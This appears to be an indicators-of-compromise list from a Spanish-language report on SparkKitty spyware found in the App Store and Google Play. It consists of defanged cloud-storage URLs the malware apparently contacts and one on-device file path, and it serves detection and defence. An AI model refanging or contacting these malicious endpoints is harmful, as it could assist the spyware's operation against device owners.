hxxps://dxifjew2.oss-cn-beijing.aliyuncs[.]com/path/02WBUfZTUvxrTMGjh7Uh
hxxps://sdk-data-re.oss-accelerate.aliyuncs[.]com/JMUCe7txrHnxBr5nj.txt
hxxps://data-sdk2.oss-accelerate.aliyuncs[.]com/file/SGTMnH951121
hxxps://1111333[.]cn-bj.ufileos[.]com/file/SGTMnH951121
hxxps://tbetter-oss.oss-accelerate.aliyuncs[.]com/ip/CF4J7aWKeF8yKVKu
hxxps://photo-php-all.s3[.]ap-southeast-1.amazonaws[.]com/app/domain.json
hxxps://c1mon-oss.oss-cn-hongkong.aliyuncs[.]com/J2A3SWc2YASfQ2
hxxps://tbetter-oss.oss-cn-guangzhou.aliyuncs[.]com/ip/JZ24J7aYCeNGyKVF2
hxxps://data-sdk.oss-accelerate.aliyuncs[.]com/file/SGTMnH951121
Rutas
/sdcard/aray/cache/devices/.DEVICES
SparkKitty, el hermano menor de SparkCat: un nuevo espía en la App Store y Google Play